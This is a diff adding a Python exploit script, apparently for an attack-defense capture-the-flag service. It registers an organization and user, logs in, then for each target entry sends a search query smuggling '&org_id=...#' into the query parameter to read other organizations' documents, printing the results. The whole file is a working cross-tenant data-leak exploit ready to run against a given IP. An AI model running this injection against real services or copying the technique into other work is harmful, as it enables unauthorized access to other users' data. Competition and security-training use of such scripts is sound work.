|
| 1 | +#!/usr/bin/env python3 |
| 2 | + |
| 3 | +import random |
| 4 | +import sys |
| 5 | +import json |
| 6 | + |
| 7 | +import checklib |
| 8 | + |
| 9 | +class DocLib: |
| 10 | + def __init__(self, host: str): |
| 11 | + self.host = host |
| 12 | + self.session = checklib.get_initialized_session() |
| 13 | + |
| 14 | + def create_org(self, domain: str): |
| 15 | + document = { |
| 16 | + "domain": domain, |
| 17 | + } |
| 18 | + |
| 19 | + response = self.session.post( |
| 20 | + f"{self.host}/api/organizations", |
| 21 | + json=document |
| 22 | + ) |
| 23 | + response.raise_for_status() |
| 24 | + return response.json() |
| 25 | + |
| 26 | + def create_user(self, username: str, password: str, token: str): |
| 27 | + document = { |
| 28 | + "username": username, |
| 29 | + "password": password, |
| 30 | + "token": token |
| 31 | + } |
| 32 | + |
| 33 | + response = self.session.post( |
| 34 | + f"{self.host}/api/users", |
| 35 | + json=document |
| 36 | + ) |
| 37 | + response.raise_for_status() |
| 38 | + return response.json() |
| 39 | + |
| 40 | + def login(self, username: str, password: str): |
| 41 | + document = { |
| 42 | + "email": username, |
| 43 | + "password": password |
| 44 | + } |
| 45 | + |
| 46 | + response = self.session.post( |
| 47 | + f"{self.host}/api/login", |
| 48 | + json=document |
| 49 | + ) |
| 50 | + response.raise_for_status() |
| 51 | + token_data = response.json() |
| 52 | + token = token_data.get('token') |
| 53 | + self.session.headers['Authorization'] = f"Bearer {token}" |
| 54 | + |
| 55 | + def search(self, query: str): |
| 56 | + response = self.session.get( |
| 57 | + f"{self.host}/api/documents", |
| 58 | + params={'query': query} |
| 59 | + ) |
| 60 | + response.raise_for_status() |
| 61 | + return response.json() |
| 62 | + |
| 63 | +if len(sys.argv) != 3: |
| 64 | + print("Usage: python3 canonical_meme.py <ip> <attack_data>") |
| 65 | + sys.exit(1) |
| 66 | + |
| 67 | +ip = sys.argv[1] |
| 68 | +attack_data = sys.argv[2] |
| 69 | + |
| 70 | +attack_data = json.loads(attack_data) |
| 71 | + |
| 72 | + |
| 73 | +lib = DocLib(f"http://{ip}:8000") |
| 74 | +pocs = random.randint(0, 10000) |
| 75 | +org_name = f'exploit{pocs}.ru' |
| 76 | +org = lib.create_org(org_name) |
| 77 | +token = org.get('token') |
| 78 | +username, pwd = checklib.rnd_username(), checklib.rnd_password() |
| 79 | +lib.create_user(username, pwd, token) |
| 80 | +lib.login(f'{username}@{org_name}', pwd) |
| 81 | +for p in attack_data: |
| 82 | + org, org_id, doc_id = p.split(':') |
| 83 | + print(lib.search(f'&org_id={org_id}#')) |
0 commit comments